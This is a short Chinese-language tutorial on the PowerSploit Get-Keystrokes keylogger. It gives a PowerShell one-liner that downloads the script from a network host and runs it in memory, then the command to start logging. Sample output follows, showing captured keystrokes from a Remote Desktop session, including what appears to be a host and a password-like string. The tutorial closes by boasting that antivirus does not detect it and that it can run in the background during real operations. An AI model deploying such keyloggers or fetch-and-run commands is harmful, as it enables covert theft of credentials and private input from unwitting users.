网络安全-powershell：powersploit Get-Keystrokes

1. Get-Keystrokes

        Get-Keystrokes是Exfiltration模块下的一个脚本，用于键盘记录，功能相当强大，不仅有键盘输入记录，甚至能记录鼠标的点击情况，还能记录详细的时间，实战时可以直接放入后台运行。

2. 下载脚本

IEX (New-Object Net.WebClient).DownloadString("http://192.168.101.46/PowerSploit/Exfiltration/Get-Keystrokes.ps1")

3. 开启键盘记录命令

Get-Keystrokes -LogPath c:\test1.txt

输出test1.txt的结果如下

"TypedKey","WindowTitle","Time"

"m","「开始」菜单","2022/5/4 21:45:54"

"s","「开始」菜单","2022/5/4 21:45:55"

"t","「开始」菜单","2022/5/4 21:45:55"

"s","「开始」菜单","2022/5/4 21:45:55"

"c","「开始」菜单","2022/5/4 21:45:55"

"<Enter>","「开始」菜单","2022/5/4 21:45:56"

"<Right>","远程桌面连接","2022/5/4 21:46:01"

"<Backspace>","远程桌面连接","2022/5/4 21:46:02"

"<Backspace>","远程桌面连接","2022/5/4 21:46:02"

"<Backspace>","远程桌面连接","2022/5/4 21:46:02"

"<Backspace>","远程桌面连接","2022/5/4 21:46:02"

"4","远程桌面连接","2022/5/4 21:46:03"

"6","远程桌面连接","2022/5/4 21:46:03"

"<Enter>","远程桌面连接","2022/5/4 21:46:03"

"w","远程桌面连接","2022/5/4 21:46:13"

"a","远程桌面连接","2022/5/4 21:46:13"

"n","远程桌面连接","2022/5/4 21:46:13"

"f","远程桌面连接","2022/5/4 21:46:13"

"a","远程桌面连接","2022/5/4 21:46:14"

"n","远程桌面连接","2022/5/4 21:46:14"

"< >","远程桌面连接","2022/5/4 21:46:16"

"a","远程桌面连接","2022/5/4 21:46:18"

"s","远程桌面连接","2022/5/4 21:46:18"

"d","远程桌面连接","2022/5/4 21:46:18"

"f","远程桌面连接","2022/5/4 21:46:18"

"-","远程桌面连接","2022/5/4 21:46:18"

"1","远程桌面连接","2022/5/4 21:46:18"

"2","远程桌面连接","2022/5/4 21:46:18"

"3","远程桌面连接","2022/5/4 21:46:18"

        经实验测试，杀毒软件不报毒！！！